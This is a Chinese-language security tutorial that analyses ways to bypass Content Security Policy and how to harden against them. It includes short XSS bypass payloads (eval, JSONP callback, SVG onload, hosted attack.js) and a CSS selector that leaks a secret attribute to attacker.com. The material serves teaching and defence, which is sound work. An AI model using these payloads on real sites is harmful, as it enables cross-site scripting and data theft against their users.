CSP(内容安全策略)绕过技术分析与防护
字数 2053 2025-11-26 17:46:32

CSP(内容安全策略)绕过技术分析与防护

1. 知识点描述

CSP(Content Security Policy) 是一种通过HTTP响应头定义的安全机制,用于限制页面可以加载或执行的资源(如脚本、样式、图片等),从而减少XSS、数据注入等攻击风险。然而,攻击者可能通过多种技术绕过CSP的限制,例如利用脚本动态生成、JSONP回调、第三方域名漏洞或浏览器特性等。本主题将分析常见CSP绕过技术,并给出防护方案。


2. CSP基础规则与配置示例

CSP通过指令(如default-srcscript-src)定义资源白名单。例如:

Content-Security-Policy: script-src 'self'; object-src 'none';  
  • script-src 'self':仅允许同源脚本。
  • object-src 'none':禁止所有插件(如Flash)。

常见指令

  • default-src:默认资源类型限制。
  • script-src:控制脚本加载与执行(如'unsafe-inline'允许内联脚本)。
  • style-src:控制样式表。
  • connect-src:限制XMLHttpRequest、WebSocket等连接目标。

3. 常见CSP绕过技术分析

3.1 利用脚本动态生成(如evalnew Function

场景:若CSP包含script-src 'unsafe-eval',则允许通过eval()Function()执行字符串代码。
绕过示例

<script>  
// 攻击者注入的代码  
const maliciousCode = "alert('XSS')";  
eval(maliciousCode); // 成功执行  
</script>  

根源'unsafe-eval'过度放宽了动态代码执行权限。

3.2 JSONP回调函数滥用

场景:若CSP允许特定第三方域名(如script-src https://api.example.com),且该域名提供JSONP接口。
绕过步骤

  1. 攻击者发现目标站点信任https://api.example.com/jsonp?callback=foo
  2. 注入恶意代码调用该接口,利用回调函数执行脚本:
<script src="https://api.example.com/jsonp?callback=alert('XSS')"></script>  

防护缺陷:未对回调函数参数进行严格过滤。

3.3 利用重定向或宽松的路径限制

场景:若CSP配置script-src https://cdn.example.com,但该域名允许用户上传内容或存在开放重定向。
绕过方法

  • 上传恶意JS文件至https://cdn.example.com/user/attack.js
  • 通过注入<script src="https://cdn.example.com/user/attack.js">绕过同源限制。

3.4 浏览器特性绕过(如CSS注入或<link rel="prefetch">

场景:若CSP未限制style-srcprefetch-src,攻击者可能通过CSS表达式或预加载机制泄露数据。
示例(旧版IE):

/* 通过CSS读取属性并发送到攻击者服务器 */  
div[secret^="a"] { background: url("https://attacker.com/?leak=a"); }  

3.5 非脚本资源绕过(如SVG或PDF)

场景:若CSP未限制object-srcmedia-src,恶意SVG/PDF可能包含脚本。

<object data="data:image/svg+xml,<svg xmlns='http://www.w3.org/2000/svg' onload='alert(1)'></svg>"></object>  

4. 进阶绕过技术(基于CSP策略解析漏洞)

4.1 路径遍历绕过

场景:若CSP配置script-src https://cdn.example.com/static/,但CDN支持路径遍历(如https://cdn.example.com/static/../upload/evil.js)。
防护要点:CDN应严格隔离用户上传目录与可信资源目录。

4.2 利用script-src'strict-dynamic'指令

场景'strict-dynamic'允许由可信脚本动态加载的脚本执行,但若可信脚本存在XSS漏洞,攻击者可能篡改动态加载逻辑。
示例

// 原本合法的动态加载  
const script = document.createElement('script');  
script.src = '/trusted.js';  
document.body.appendChild(script);  
// 攻击者注入代码重写src指向恶意URL  

4.3 混合内容(HTTP/HTTPS)绕过

场景:若CSP未强制HTTPS,攻击者可能通过HTTP劫持注入恶意内容。


5. CSP防护强化策略

5.1 最小化白名单原则

  • 避免使用'unsafe-inline''unsafe-eval',改用随机数(nonce)或哈希(hash)允许特定内联脚本。
    示例
Content-Security-Policy: script-src 'nonce-abc123';  
<script nonce="abc123">  
  // 仅nonce匹配的脚本会执行  
</script>  

5.2 严格限制第三方域名

  • 对JSONP接口实施回调函数白名单校验。
  • 使用strict-dynamic时,确保基础脚本无XSS漏洞。

5.3 多层防御补充

  • 启用base-uri 'self'防止<base>标签篡改资源路径。
  • 添加report-uri /csp-report收集违规报告,实时监控绕过尝试。

5.4 定期审计与更新

  • 检查CSP配置是否被已知绕过技术影响(如CVE-2020-6519)。
  • 使用浏览器CSP评估工具(如CSP Evaluator)扫描策略漏洞。

6. 总结

CSP绕过本质是策略配置缺陷与业务逻辑漏洞的结合。防护需遵循默认拒绝原则,通过nonce/hash替代宽松指令,并结合其他安全机制(如XSS过滤器、输入验证)形成纵深防御。

CSP(内容安全策略)绕过技术分析与防护 1. 知识点描述 CSP(Content Security Policy) 是一种通过HTTP响应头定义的安全机制,用于限制页面可以加载或执行的资源(如脚本、样式、图片等),从而减少XSS、数据注入等攻击风险。然而,攻击者可能通过多种技术绕过CSP的限制,例如利用脚本动态生成、JSONP回调、第三方域名漏洞或浏览器特性等。本主题将分析常见CSP绕过技术,并给出防护方案。 2. CSP基础规则与配置示例 CSP通过指令(如 default-src 、 script-src )定义资源白名单。例如: script-src 'self' :仅允许同源脚本。 object-src 'none' :禁止所有插件(如Flash)。 常见指令 : default-src :默认资源类型限制。 script-src :控制脚本加载与执行(如 'unsafe-inline' 允许内联脚本)。 style-src :控制样式表。 connect-src :限制XMLHttpRequest、WebSocket等连接目标。 3. 常见CSP绕过技术分析 3.1 利用脚本动态生成(如 eval 或 new Function ) 场景 :若CSP包含 script-src 'unsafe-eval' ,则允许通过 eval() 或 Function() 执行字符串代码。 绕过示例 : 根源 : 'unsafe-eval' 过度放宽了动态代码执行权限。 3.2 JSONP回调函数滥用 场景 :若CSP允许特定第三方域名(如 script-src https://api.example.com ),且该域名提供JSONP接口。 绕过步骤 : 攻击者发现目标站点信任 https://api.example.com/jsonp?callback=foo 。 注入恶意代码调用该接口,利用回调函数执行脚本: 防护缺陷 :未对回调函数参数进行严格过滤。 3.3 利用重定向或宽松的路径限制 场景 :若CSP配置 script-src https://cdn.example.com ,但该域名允许用户上传内容或存在开放重定向。 绕过方法 : 上传恶意JS文件至 https://cdn.example.com/user/attack.js 。 通过注入 <script src="https://cdn.example.com/user/attack.js"> 绕过同源限制。 3.4 浏览器特性绕过(如CSS注入或 <link rel="prefetch"> ) 场景 :若CSP未限制 style-src 或 prefetch-src ,攻击者可能通过CSS表达式或预加载机制泄露数据。 示例 (旧版IE): 3.5 非脚本资源绕过(如SVG或PDF) 场景 :若CSP未限制 object-src 或 media-src ,恶意SVG/PDF可能包含脚本。 4. 进阶绕过技术(基于CSP策略解析漏洞) 4.1 路径遍历绕过 场景 :若CSP配置 script-src https://cdn.example.com/static/ ,但CDN支持路径遍历(如 https://cdn.example.com/static/../upload/evil.js )。 防护要点 :CDN应严格隔离用户上传目录与可信资源目录。 4.2 利用 script-src 的 'strict-dynamic' 指令 场景 : 'strict-dynamic' 允许由可信脚本动态加载的脚本执行,但若可信脚本存在XSS漏洞,攻击者可能篡改动态加载逻辑。 示例 : 4.3 混合内容(HTTP/HTTPS)绕过 场景 :若CSP未强制HTTPS,攻击者可能通过HTTP劫持注入恶意内容。 5. CSP防护强化策略 5.1 最小化白名单原则 避免使用 'unsafe-inline' 和 'unsafe-eval' ,改用随机数( nonce )或哈希( hash )允许特定内联脚本。 示例 : 5.2 严格限制第三方域名 对JSONP接口实施回调函数白名单校验。 使用 strict-dynamic 时,确保基础脚本无XSS漏洞。 5.3 多层防御补充 启用 base-uri 'self' 防止 <base> 标签篡改资源路径。 添加 report-uri /csp-report 收集违规报告,实时监控绕过尝试。 5.4 定期审计与更新 检查CSP配置是否被已知绕过技术影响(如CVE-2020-6519)。 使用浏览器CSP评估工具(如CSP Evaluator)扫描策略漏洞。 6. 总结 CSP绕过本质是策略配置缺陷与业务逻辑漏洞的结合。防护需遵循 默认拒绝 原则,通过 nonce / hash 替代宽松指令,并结合其他安全机制(如XSS过滤器、输入验证)形成纵深防御。